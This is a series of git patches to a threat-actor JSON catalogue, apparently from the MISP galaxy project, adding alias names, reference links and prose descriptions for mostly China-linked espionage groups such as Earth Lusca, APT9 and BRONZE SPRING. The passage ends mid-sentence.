"https://unit42.paloaltonetworks.com/atoms/nascentursa/" ], "synonyms": [ "UNC2589", "TA471", - "UAC-0056" + "UAC-0056", + "Nascent Ursa" ] }, "uuid": "c67d3dfb-ab39-46e1-a971-5efdfe6a5b9f", @@ -9595,5 +9653,5 @@ "value": "Predatory Sparrow" } ], - "version": 231 + "version": 232 } From 79c84d3768eca7f1bfa29483e95e8575ef14c2bb Mon Sep 17 00:00:00 2001 From: Rony Date: Tue, 19 Jul 2022 22:42:50 +0530 Subject: [PATCH 023/167] add Earth Berberoka, Earth Lusca and Earth Wendigo --- clusters/threat-actor.json | 105 ++++++++++++++++++++++++++++++++++++- 1 file changed, 103 insertions(+), 2 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 2c66884..9032680 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9651,7 +9651,108 @@ }, "uuid": "e665ac2f-87b4-4c2e-bef7-78bf0a8af87b", "value": "Predatory Sparrow" + }, + { + "description": "According to TrendMicro, Earth Berberoka is a threat group originating from China that mainly focuses on targeting gambling websites. This group's campaign uses multiple malware families that target the Windows, Linux, and macOS platforms that have been attributed to Chinese-speaking actors. Aside from using tried-and-tested malware families that have been upgraded, such as PlugX and Gh0st RAT, Earth Berberoka has also developed a brand-new complex, multistage malware family, which has been dubbed PuppetLoader.", + "meta": { + "cfr-suspected-victims": [ + "China", + "United States", + "Hong Kong", + "Malaysia", + "Taiwan" + ], + "cfr-target-category": [ + "Gambling Websites", + "Information technology", + "Electronics Manufacturers", + "Education" + ], + "country": "CN", + "refs": [ + "https://documents.trendmicro.com/assets/white_papers/wp-operation-earth-berberoka.pdf", + "https://www.trendmicro.com/en_us/research/22/d/new-apt-group-earth-berberoka-targets-gambling-websites-with-old.html", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-windows-iocs-2.txt", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-linux-iocs-2.txt", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-macos-iocs-2.txt", + "https://documents.trendmicro.com/assets/txt/earth-berberoka-domains-2.txt", + "https://www.youtube.com/watch?v=QXGO4RJaUPQ", + "https://www.botconf.eu/wp-content/uploads/2022/05/Botconf2022-40-LunghiHorejsi.pdf" + ] + }, + "uuid": "9d82077b-7e95-4b22-8762-3224797ff5f0", + "value": "Earth Berberoka" + }, + { + "description": "Earth Lusca is a threat actor from China that targets organizations of interest to the Chinese government, including academic institutions, telecommunication companies, religious organizations, and other civil society groups. Earth Lusca's tools closely resemble those used by Winnti Umbrella, but the group appears to operate separately from Winnti. Earth Lusca has also been observed targeting cryptocurrency payment platforms and cryptocurrency exchanges in what are likely financially motivated attacks.", + "meta": { + "cfr-suspected-victims": [ + "Australia", + "China", + "France", + "Germany", + "Hong Kong", + "Japan", + "Mongolia", + "Nepal", + "Nigeria", + "Philippines", + "Taiwan", + "Thailand", + "United Arab Emirates", + "United States", + "Vietnam" + ], + "cfr-target-category": [ + "Gambling companies", + "Government Institutions", + "Education", + "Media and Entertainment", + "Pro-democracy and human rights political organizations", + "Telecommunications", + "Religious organization", + "Cryptocurrency", + "Medical", + "Covid-19 research organizations" + ], + "country": "CN", + "refs": [ + "https://hello.global.ntt/-/media/ntt/global/insights/white-papers/the-operations-of-winnti-group.pdf", + "https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf", + "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan", + "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi", + "https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E", + "https://www.sentinelone.com/wp-content/uploads/2021/08/SentinelOne_-SentinelLabs_ShadowPad_WP_V2.pdf" + ], + "synonyms": [ + "CHROMIUM", + "ControlX", + "TAG-22", + "FISHMONGER" + ] + }, + "uuid": "39150b30-61af-4d9c-9682-1595e145f3c1", + "value": "Earth Lusca" + }, + { + "description": "Earth Wendigo is a threat actor from China that has been targeting several organizations — including government organizations, research institutions, and universities in Taiwan — since May 2019, aiming to exfiltrate emails from targeted organizations via the injection of JavaScript backdoors to a webmail system that is widely used in Taiwan. The threat actor also sent spear-phishing emails embedded with malicious links to multiple individuals, including politicians and activists, who support movements in Tibet, the Uyghur region, or Hong Kong.", + "meta": { + "cfr-suspected-victims": [ + "Hong Kong", + "Taiwan" + ], + "cfr-target-category": [ + "Government", + "Education" + ], + "country": "CN", + "refs": [ + "https://www.trendmicro.com/en_us/research/21/a/earth-wendigo-injects-javascript-backdoor-to-service-worker-for-.html" + ] + }, + "uuid": "c96e1329-cf7e-44ac-a3db-9e251dc98ec5", + "value": "Earth Wendigo" } ], - "version": 232 -} + "version": 233 +} \ No newline at end of file From 3fabd584163e1f39d2bc9c3f886c1635d7a26015 Mon Sep 17 00:00:00 2001 From: Rony Date: Tue, 19 Jul 2022 23:36:30 +0530 Subject: [PATCH 024/167] chg: [threat-actor] fixed --- clusters/threat-actor.json | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 9032680..81ffca6 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9755,4 +9755,4 @@ } ], "version": 233 -} \ No newline at end of file +} From 2e8a577b0ce8aa9ccc656ee9bf7238c544249b25 Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 20 Jul 2022 09:45:21 +0530 Subject: [PATCH 025/167] add PwC naming to CN actors --- clusters/threat-actor.json | 34 ++++++++++++++++++++-------------- 1 file changed, 20 insertions(+), 14 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 81ffca6..0570929 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -651,9 +651,7 @@ "Winnti Group", "Suckfly", "APT41", - "APT 41", "Group72", - "Group 72", "Blackfly", "LEAD", "WICKED SPIDER", @@ -897,7 +895,8 @@ "DRAGONFISH", "BRONZE ELGIN", "ATK1", - "G0030" + "G0030", + "Red Salamander" ] }, "related": [ @@ -1409,7 +1408,9 @@ "synonyms": [ "IceFog", "Dagger Panda", - "Trident" + "Trident", + "RedFoxtrot", + "Red Wendigo" ] }, "uuid": "32c534b9-abec-4823-b223-a810f897b47b", @@ -6327,8 +6328,12 @@ "description": "Recorded Future’s Insikt Group has identified two new cyberespionage campaigns targeting the Tibetan Community over the past two years. The campaigns, which we are collectively naming RedAlpha, combine light reconnaissance, selective targeting, and diverse malicious tooling. We discovered this activity as the result of pivoting off of a new malware sample observed targeting the Tibetan community based in India.", "meta": { "refs": [ - "https://www.recordedfuture.com/redalpha-cyber-campaigns/", + "https://www.recordedfuture.com/chinese-cyberespionage-operations", "https://go.recordedfuture.com/hubfs/reports/cta-2018-0626.pdf" + ], + "synonyms": [ + "DeepCliff", + "Red Dev 3" ] }, "uuid": "71a3b962-9a36-11e8-88f8-b31d20c6fa2a", @@ -7425,7 +7430,8 @@ "synonyms": [ "ZIRCONIUM", "JUDGMENT PANDA", - "BRONZE VINEWOOD" + "BRONZE VINEWOOD", + "Red keres" ] }, "uuid": "6bf7e6b6-5917-45a6-9567-f0baba79768c", @@ -7483,7 +7489,8 @@ "Palmerworm", "G0098", "T-APT-03", - "Manga Taurus" + "Manga Taurus", + "Red Djinn" ] }, "uuid": "320c42f7-eab7-4ef9-b09a-74396caa6c3e", @@ -7821,10 +7828,6 @@ "country": "CN", "refs": [ "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology" - ], - "synonyms": [ - "Temp.Hex", - "Vicious Panda" ] }, "uuid": "5533d062-18ab-4c70-9472-0eac03f95a1d", @@ -8667,7 +8670,8 @@ "synonyms": [ "ATK233", "G0125", - "Operation Exchange Marauder" + "Operation Exchange Marauder", + "Red Dev 13" ] }, "uuid": "4f05d6c1-3fc1-4567-91cd-dd4637cc38b5", @@ -9722,13 +9726,15 @@ "https://www.recordedfuture.com/chinese-group-tag-22-targets-nepal-philippines-taiwan", "https://query.prod.cms.rt.microsoft.com/cms/api/am/binary/RWMFIi", "https://media-exp1.licdn.com/dms/document/C561FAQHhWFRcWmdCPw/feedshare-document-pdf-analyzed/0/1639591145314?e=1658966400&v=beta&t=_uCcyEVg6b_VDiBTvWQIXtBOdQ1GQAAydqGyq62KA3E", - "https://www.sentinelone.com/wp-content/uploads/2021/08/SentinelOne_-SentinelLabs_ShadowPad_WP_V2.pdf" + "https://www.sentinelone.com/wp-content/uploads/2021/08/SentinelOne_-SentinelLabs_ShadowPad_WP_V2.pdf", + "https://www.pwc.co.uk/issues/cyber-security-services/research/chasing-shadows.html" ], "synonyms": [ "CHROMIUM", "ControlX", "TAG-22", - "FISHMONGER" + "FISHMONGER", + "Red Dev 10" ] }, "uuid": "39150b30-61af-4d9c-9682-1595e145f3c1", From 000bfe92d9d9dc95feba4c87e409ac237623d81f Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 20 Jul 2022 10:04:58 +0530 Subject: [PATCH 026/167] add APT9/Red Pegasus & BRONZE EDGEWOOD/Red Hariasa --- clusters/threat-actor.json | 45 ++++++++++++++++++++++++++++++++++++++ 1 file changed, 45 insertions(+) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 0570929..92a2c4b 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -9758,6 +9758,51 @@ }, "uuid": "c96e1329-cf7e-44ac-a3db-9e251dc98ec5", "value": "Earth Wendigo" + }, + { + "description": "In early 2021 CTU researchers observed BRONZE EDGEWOOD exploiting the Microsoft Exchange Server of an organization in Southeast Asia. The threat group deployed a China Chopper webshell and ran the Nishang Invoke-PowerShellTcp.ps1 script to connect back to C2 infrastructure. The threat group is publicly linked to malware families Chinoxy, PCShare and FunnyDream. CTU researchers have discovered that BRONZE EDGEWOOD also leverages Cobalt Strike in its intrusion activity. BRONZE EDGEWOOD has been active since at least 2018 and targets government and private enterprises across Southeast Asia. CTU researchers assess with moderate confidence that BRONZE EDGEWOOD operates on behalf the Chinese government and has a remit that covers political espionage.", + "meta": { + "cfr-suspected-victims": [ + "Kyrgyzstan", + "Malaysia", + "Vietnam" + ], + "country": "CN", + "refs": [ + "https://www.pwc.co.uk/cyber-security/pdf/pwc-cyber-threats-2020-a-year-in-retrospect.pdf", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" + ], + "synonyms": [ + "Red Hariasa" + ] + }, + "uuid": "b4ce9385-eedf-4a71-803c-6d53a250d10b", + "value": "BRONZE EDGEWOOD" + }, + { + "description": "APT9 engages in cyber operations where the goal is data theft, usually focusing on the data and projects that make a particular organization competitive within its field. APT9 was historically very active in the pharmaceuticals and biotechnology industry. We have observed this actor use spearphishing, valid accounts, as well as remote services for Initial Access. On at least one occasion, Mandiant observed APT9 at two companies in the biotechnology industry and suspect that APT9 actors may have gained initial access to one of the companies by using a trusted relationship between the two companies. APT9 use a wide range of backdoors, including publicly available backdoors, as well as backdoors that are believed to be custom, but are used by multiple APT groups.", + "meta": { + "cfr-suspected-victims": [ + "United States" + ], + "cfr-target-category": [ + "Pharmaceuticals", + "Healthcare", + "Construction", + "Aerospace", + "Defense industrial base" + ], + "country": "CN", + "refs": [ + "https://www.mandiant.com/resources/apt-groups#apt19", + "https://www.pwc.com/gx/en/issues/cybersecurity/cyber-threat-intelligence/cyber-year-in-retrospect/yir-cyber-threats-report-download.pdf" + ], + "synonyms": [ + "Red Pegasus" + ] + }, + "uuid": "7e6d82a4-3b7d-4c24-a2c5-e211ce6eafc5", + "value": "APT9" } ], "version": 233 From ed32c508b7703bfc5da5543ec3a6fc828a395afa Mon Sep 17 00:00:00 2001 From: Daniel Plohmann Date: Wed, 20 Jul 2022 08:38:03 +0200 Subject: [PATCH 027/167] added more Unit 42 aliases / groups --- clusters/threat-actor.json | 49 ++++++++++++++++++++++++++++++++++---- 1 file changed, 44 insertions(+), 5 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 2c66884..30db92e 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -3561,13 +3561,15 @@ "https://www.phnompenhpost.com/national/kingdom-targeted-new-malware", "https://attack.mitre.org/groups/G0017/", "https://attack.mitre.org/groups/G0002/", - "https://www.secureworks.com/research/threat-profiles/bronze-overbrook" + "https://www.secureworks.com/research/threat-profiles/bronze-overbrook", + "https://unit42.paloaltonetworks.com/atoms/shallowtaurus/" ], "synonyms": [ "Moafee", "BRONZE OVERBROOK", "G0017", - "G0002" + "G0002", + "Shallow Taurus" ] }, "related": [ @@ -8592,12 +8594,14 @@ "https://pastebin.com/6EDgCKxd", "https://github.com/fireeye/sunburst_countermeasures", "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware", - "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html" + "https://www.fireeye.com/blog/threat-research/2021/03/sunshuttle-second-stage-backdoor-targeting-us-based-entity.html", + "https://unit42.paloaltonetworks.com/atoms/solarphoenix/" ], "synonyms": [ "DarkHalo", "StellarParticle", - "NOBELIUM" + "NOBELIUM", + "Solar Phoenix" ] }, "related": [ @@ -9651,7 +9655,42 @@ }, "uuid": "e665ac2f-87b4-4c2e-bef7-78bf0a8af87b", "value": "Predatory Sparrow" + }, + { + "description": "MSTIC has not found any notable associations between this observed activity, tracked as DEV-0586, and other known activity groups. MSTIC assesses that the malware (WhisperGate), which is designed to look like ransomware but lacking a ransom recovery mechanism, is intended to be destructive and designed to render targeted devices inoperable rather than to obtain a ransom.", + "meta": { + "cfr-suspected-victims": [ + "Ukraine" + ], + "cfr-type-of-incident": "Sabotage", + "refs": [ + "https://www.microsoft.com/security/blog/2022/01/15/destructive-malware-targeting-ukrainian-organizations/", + "https://msrc-blog.microsoft.com/2022/02/28/analysis-resources-cyber-threat-activity-ukraine/", + "https://unit42.paloaltonetworks.com/atoms/ruinousursa/" + ], + "synonyms": [ + "Ruinous Ursa" + ] + }, + "uuid": "a5f64c1a-c829-4855-903d-e0ff2098b2d7", + "value": "DEV-0586" + }, + { + "description": "This group started operating during the first quarter of 2022. They published samples of alleged stolen data from companies on their site on Tor. It is unclear if they conducted the attacks themselves, or if they bought leaked databases from third parties.", + "meta": { + "refs": [ + "https://www.trendmicro.com/en_us/research/20/k/analysis-of-kinsing-malwares-use-of-rootkit.html", + "https://blog.aquasec.com/threat-alert-kinsing-malware-container-vulnerability", + "https://sysdig.com/blog/zoom-into-kinsing-kdevtmpfsi/", + "https://unit42.paloaltonetworks.com/atoms/moneylibra/" + ], + "synonyms": [ + "Money Libra" + ] + }, + "uuid": "4d522fad-452c-46be-94ea-5803aec9b709", + "value": "Kinsing" } ], - "version": 232 + "version": 233 } From 082039b3b0d9864124d14d3fcabf412c538db20d Mon Sep 17 00:00:00 2001 From: Rony Date: Wed, 20 Jul 2022 14:52:58 +0530 Subject: [PATCH 028/167] added CN actors from secureworks threat profile https://www.secureworks.com/research/threat-profiles?filter=item-china and fixed some AKAs --- clusters/threat-actor.json | 190 ++++++++++++++++++++++++++++++++++--- 1 file changed, 175 insertions(+), 15 deletions(-) diff --git a/clusters/threat-actor.json b/clusters/threat-actor.json index 92a2c4b..c984884 100644 --- a/clusters/threat-actor.json +++ b/clusters/threat-actor.json @@ -956,7 +956,7 @@ "value": "Lotus Panda" }, { - "description": "We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone.\nHURRICANE PANDA’s preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence.\nOnce inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.", + "description": "We have investigated their intrusions since 2013 and have been battling them nonstop over the last year at several large telecommunications and technology companies. The determination of this China-based adversary is truly impressive: they are like a dog with a bone.\nHURRICANE PANDA's preferred initial vector of compromise and persistence is a China Chopper webshell – a tiny and easily obfuscated 70 byte text file that consists of an ‘eval()’ command, which is then used to provide full command execution and file upload/download capabilities to the attackers. This script is typically uploaded to a web server via a SQL injection or WebDAV vulnerability, which is often trivial to uncover in a company with a large external web presence.\nOnce inside, the adversary immediately moves on to execution of a credential theft tool such as Mimikatz (repacked to avoid AV detection). If they are lucky to have caught an administrator who might be logged into that web server at the time, they will have gained domain administrator credentials and can now roam your network at will via ‘net use’ and ‘wmic’ commands executed through the webshell terminal.", "meta": { "attribution-confidence": "50", "country": "CN", @@ -1676,9 +1676,7 @@ ], "synonyms": [ "APT23", - "APT 23", "KeyBoy", - "TropicTrooper", "Tropic Trooper", "BRONZE HOBART", "G0081" @@ -2421,14 +2419,15 @@ "https://www.microsoft.com/security/blog/2020/09/10/strontium-detecting-new-patters-credential-harvesting/", "https://www.bleepingcomputer.com/news/security/russian-hackers-use-fake-nato-training-docs-to-breach-govt-networks/", "https://quointelligence.eu/2020/09/apt28-zebrocy-malware-campaign-nato-theme/", - "https://unit42.paloaltonetworks.com/atoms/fighting-ursa/" + "https://unit42.paloaltonetworks.com/atoms/fighting-ursa/", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" ], "synonyms": [ "APT 28", "APT28", "Pawn Storm", "PawnStorm", - "Fancy Bear", + "FANCY BEAR", "Sednit", "SNAKEMACKEREL", "TsarTeam", @@ -2603,7 +2602,8 @@ "https://attack.mitre.org/groups/G0010/", "https://www.telsy.com/turla-venomous-bear-updates-its-arsenal-newpass-appears-on-the-apt-threat-scene/", "https://www.secureworks.com/research/threat-profiles/iron-hunter", - "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/" + "https://www.welivesecurity.com/2020/12/02/turla-crutch-keeping-back-door-open/", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" ], "synonyms": [ "Turla", @@ -2747,14 +2747,15 @@ "https://web.archive.org/web/20141016132823/https://www.symantec.com/connect/blogs/sandworm-windows-zero-day-vulnerability-being-actively-exploited-targeted-attacks", "https://ics.sans.org/blog/2015/12/30/current-reporting-on-the-cyber-attack-in-ukraine-resulting-in-power-outage", "https://blog.trendmicro.com/trendlabs-security-intelligence/timeline-of-sandworm-attacks/", - "https://attack.mitre.org/groups/G0034/" + "https://attack.mitre.org/groups/G0034/", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" ], "synonyms": [ "Sandworm Team", "Black Energy", "BlackEnergy", "Quedagh", - "Voodoo Bear", + "VOODOO BEAR", "TEMP.Noble", "Iron Viking", "G0034" @@ -4510,7 +4511,11 @@ "description": "The Callisto Group is an advanced threat actor whose known targets include military personnel, government officials, think tanks, and journalists in Europe and the South Caucasus. Their primary interest appears to be gathering intelligence related to foreign and security policy in the Eastern Europe and South Caucasus regions.", "meta": { "refs": [ - "https://www.f-secure.com/documents/996508/1030745/callisto-group" + "https://www.f-secure.com/documents/996508/1030745/callisto-group", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" + ], + "synonyms": [ + "COLDRIVER" ] }, "uuid": "fbd279ab-c095-48dc-ba48-4bece3dd5b0f", @@ -4882,7 +4887,7 @@ ], "synonyms": [ "CactusPete", - "Karma Panda", + "KARMA PANDA", "BRONZE HUNTLEY" ] }, @@ -6510,11 +6515,12 @@ "synonyms": [ "BRONZE PRESIDENT", "HoneyMyte", - "Red Lich" + "Red Lich", + "TEMP.HEX" ] }, "uuid": "78bf726c-a9e6-11e8-9e43-77249a2f7339", - "value": "Mustang Panda" + "value": "MUSTANG PANDA" }, { "description": "This threat actor targets organizations in the satellite communications, telecommunications, geospatial-imaging, and defense sectors in the United States and Southeast Asia for espionage purposes.", @@ -7827,7 +7833,20 @@ "meta": { "country": "CN", "refs": [ - "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology" + "https://www.proofpoint.com/us/threat-insight/post/chinese-apt-operation-lagtime-it-targets-government-information-technology", + "https://www.recordedfuture.com/china-linked-ta428-threat-group", + "https://decoded.avast.io/luigicamastra/apt-group-targeting-governmental-agencies-in-east-asia", + "https://www.welivesecurity.com/2020/12/10/luckymouse-ta428-compromise-able-desktop", + "https://blog.group-ib.com/task", + "https://www.sentinelone.com/labs/thundercats-hack-the-fsb-your-taxes-didnt-pay-for-this-op", + "https://www.youtube.com/watch?v=1WfPlgtfWnQ", + "https://vb2020.vblocalhost.com/uploads/VB2020-20.pdf", + "https://vb2020.vblocalhost.com/uploads/VB2020-Ozawa-etal.pdf", + "https://st.drweb.com/static/new-www/news/2021/april/drweb_research_attacks_on_russian_research_institutes_en.pdf" + ], + "synonyms": [ + "Colourful Panda", + "BRONZE DUDLEY" ] }, "uuid": "5533d062-18ab-4c70-9472-0eac03f95a1d", @@ -7992,10 +8011,13 @@ "meta": { "refs": [ "https://www.ptsecurity.com/upload/corporate/ru-ru/analytics/calypso-apt-2019-rus.pdf" + ], + "synonyms": [ + "BRONZE MEDLEY" ] }, "uuid": "200d04c8-a11f-45c4-86fd-35bb5de3f7a3", - "value": "Calypso group" + "value": "Calypso" }, { "description": "Proofpoint researchers detected campaigns from a relatively new actor, tracked internally as TA2101, targeting German companies and organizations to deliver and install backdoor malware. The actor initiated their campaigns impersonating the Bundeszentralamt fur Steuern, the German Federal Ministry of Finance, with lookalike domains, verbiage, and stolen branding in the emails. For their campaigns in Germany, the actor chose Cobalt Strike, a commercially licensed software tool that is generally used for penetration testing and emulates the type of backdoor framework used by Metasploit, a similar penetration testing tool. Proofpoint researchers have also observed this actor distributing Maze ransomware, employing similar social engineering techniques to those it uses for Cobalt Strike, while also targeting organizations in Italy and impersonating the Agenzia Delle Entrate, the Italian Revenue Agency. We have also recently observed the actor targeting organizations in the United States using the IcedID banking Trojan while impersonating the United States Postal Service (USPS).", @@ -8708,7 +8730,8 @@ "https://www.fireeye.com/blog/threat-research/2020/07/ghostwriter-influence-campaign.html", "https://twitter.com/hatr/status/1377220336597483520", "https://www.mandiant.com/resources/unc1151-linked-to-belarus-government", - "https://www.bleepingcomputer.com/news/security/meta-ukrainian-officials-military-targeted-by-ghostwriter-hackers/" + "https://www.bleepingcomputer.com/news/security/meta-ukrainian-officials-military-targeted-by-ghostwriter-hackers", + "https://blog.google/threat-analysis-group/continued-cyber-activity-in-eastern-europe-observed-by-tag" ], "synonyms": [ "UNC1151", @@ -9734,6 +9757,7 @@ "ControlX", "TAG-22", "FISHMONGER", + "BRONZE UNIVERSITY", "Red Dev 10" ] }, @@ -9803,6 +9827,142 @@ }, "uuid": "7e6d82a4-3b7d-4c24-a2c5-e211ce6eafc5", "value": "APT9" + }, + { + "description": "BRONZE SPRING is a threat group that CTU researchers assess with high confidence operates on behalf of China in the theft of intellectual property from defense, engineering, pharmaceutical and technology companies. The threat group typically uses scan-and-exploit for initial access, deploys the China Chopper webshell for remote execution and persistence, and creates RAR archives with a '.jpg' file extension for data exfiltration. \nIn July 2020 the U.S. Department of Justice indicted two Chinese hackers CTU researchers assess are members of the BRONZE SPRING threat group. The Department of Justice allege these hackers were responsible for compromising networks of hundreds of organisations and individuals in the U.S. and abroad since 2009, and that exfiltrated data would be passed to the Chinese Ministry of State Security or sold for financial gain.", + "meta": { + "cfr-suspected-victims": [ + "United States", + "Australia", + "Belgium", + "Germany", + "Japan", + "Lithuania", + "Netherlands", + "Spain", + "South Korea", + "Sweden", + "United Kingdom" + ], + "cfr-target-category": [ + "Information technology", + "Medical", + "Civil engineering", + "Business", + "Education", + "Gaming", + "Energy", + "Pharmaceuticals", + "Defense industrial base" + ], + "country": "CN", + "refs": [ + "https://www.justice.gov/opa/pr/two-chinese-hackers-working-ministry-state-security-charged-global-computer-intrusion", + "https://www.justice.gov/opa/press-release/file/1295981/download", + "https://www.justice.gov/opa/press-release/file/1295986/download", + "https://intrusiontruth.wordpress.com/2021/05/06/an-apt-with-no-name", + "https://twitter.com/MrDanPerez/status/1390285821786394624" + ], + "synonyms": [ + "UNC302" + ] + }, + "uuid": "8b77424e-18bc-4ea7-baa4-d87441978e20", + "value": "BRONZE SPRING" + }, + { + "description": "BRONZE STARLIGHT has been active since mid 2021 and targets organizations globally across a range of industry verticals. The group leverages HUI Loader to load Cobalt Strike and PlugX payloads for command and control. CTU researchers have observed BRONZE STARLIGHT deploying ransomware to compromised networks as part of name-and-shame ransomware schemes, and posted victim names to leak sites. \nCTU researchers assess with moderate confidence that BRONZE STARLIGHT is located in China based on observed tradecraft, including the use of HUI Loader and PlugX which are associated with China-based threat group activity. It is plausible that BRONZE STARLIGHT deploys ransomware as a smokescreen rather than for financial gain, with the underlying motivation of stealing intellectual property theft or conducting espionage.", + "meta": { + "country": "CN", + "refs": [ + "https://www.microsoft.com/security/blog/2022/05/09/ransomware-as-a-service-understanding-the-cybercrime-gig-economy-and-how-to-protect-yourself", + "https://www.microsoft.com/security/blog/2021/12/11/guidance-for-preventing-detecting-and-hunting-for-cve-2021-44228-log4j-2-exploitation", + "https://www.sentinelone.com/labs/lockbit-ransomware-side-loads-cobalt-strike-beacon-with-legitimate-vmware-utility", + "https://twitter.com/cglyer/status/1480734487000453121" + ], + "synonyms": [ + "DEV-0401" + ] + }, + "uuid": "737c0207-1a1a-4480-86e7-b6a5066e1ee5", + "value": "BRONZE STARLIGHT" + }, + { + "description": "BRONZE HIGHLAND has been observed using spearphishing as an initial infection vector to deploy the MgBot remote access trojan against targets in Hong Kong. Third party reporting suggests the threat group also targets India, Malaysia and Taiwan and leverages Cobalt Strike and KsRemote Android Rat. CTU researchers assess with moderate confidence that BRONZE HIGHLAND operates on behalf of China and has a remit covering espionage against domestic human rights and pro-democracy advocates and nations neighbouring China", + "meta": { + "cfr-suspected-victims": [ + "Hong Kong", + "Malaysia", + "India", + "Taiwan" + ], + "country": "CN", + "refs": [ + "https://blog.malwarebytes.com/threat-analysis/2020/07/chinese-apt-group-targets-india-and-hong-kong-using-new-variant-of-mgbot-malware", + "https://vb2020.vblocalhost.com/uploads/VB2020-43.pdf", + "https://www.youtube.com/watch?v=LeKi0KfzOow&list=PLffioUnqXWkdzWcZXH-bzPVgcs2R4r7iS&index=1&t=2154s" + ], + "synonyms": [ + "Evasive Panda" + ] + }, + "uuid": "62710572-e416-419d-bb1f-81ffc1ddc976", + "value": "BRONZE HIGHLAND" + }, + { + "description": "In December 2020, the IT management software provider SolarWinds announced that an unidentified threat actor had exploited a vulnerability in their Orion Platform software to deploy a web shell dubbed SUPERNOVA. CTU researchers track the operators of the SUPERNOVA web shell as BRONZE SPIRAL and assess with low confidence that the group is of Chinese origin. SUPERNOVA was likely deployed through exploitation of CVE-2020-10148, and CTU researchers observed post-exploitation reconnaissance commands roughly 30 minutes before the web shell was deployed. This may have been indicative of the threat actor conducting scan-and-exploit activity and then triaging for victims of particular interest, before deploying SUPERNOVA and attempting to dump credentials and move laterally.\n\nBRONZE SPIRAL has been associated with previous intrusions involving the targeting of ManageEngine servers, maintenance of long-term access to periodically harvest credentials and exfiltrate data, and espionage or theft of intellectual property. The threat group makes extensive use of native system tools and 'living off the land' techniques.", + "meta": { + "country": "CN", + "refs": [ + "https://unit42.paloaltonetworks.com/solarstorm-supernova", + "https://www.guidepointsecurity.com/blog/supernova-solarwinds-net-webshell-analysis", + "https://www.secureworks.com/blog/supernova-web-shell-deployment-linked-to-spiral-threat-group", + "https://www.sentinelone.com/labs/solarwinds-understanding-detecting-the-supernova-webshell-trojan", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-027a", + "https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112" + ] + }, + "uuid": "3f04dbbc-69bc-409b-82a1-6135f0b6a41c", + "value": "BRONZE SPIRAL" + }, + { + "description": "BRONZE VAPOR is a targeted threat group assessed with moderate confidence to be of Chinese origin. Artefacts from tools associated with this group and open source reporting on related incidents indicate that BRONZE VAPOR have operated since at least 2017. The group conducts espionage against multiple industries including semiconductors, aviation and telecommunications. CTU researchers assess BRONZE VAPOR's intent to be information theft, with operations focused on intellectual property (semiconductors) and personally identifiable information such as traveller records (aviation). Compromise of telecommunications companies can yield personally identifiable information and meta data on client communications such as Call Data Records (CDR).\n\nPrior to 2019 their operational focus, with some exceptions, revolved around targets in East Asia particularity Taiwan with it's thriving semiconductor industry. In 2021 details emerged in open source of attacks on at least one European semiconductor company believed to date back to 2017. In 2019 BRONZE VAPOR attacked one of more entities in the European airlines sector. The group gains initial access via VPN services, may use spearphishing with 'Letter of Appointment' themed lures, and deploys Cobalt Strike along with custom data exfiltration tools to target organizations. Post-intrusion activity involves living-of-the-land using legitimate tools and commands available within victim environment as well as using AceHash for credential harvesting, WATERCYCLE for data exfiltration and STOCKPIPE for proxying information through Microsoft Exchange servers over email.\n\nBRONZE VAPOR uses a set of tactics that, although not individually unique, when viewed in aggregate create a relatively distinct playbook. Intrusions begin with credential based attacks against an existing remote access solution (Citrix, VPN etc.) or B2B network access. Cobalt Strike is deployed into the environment and further access is then conducted via 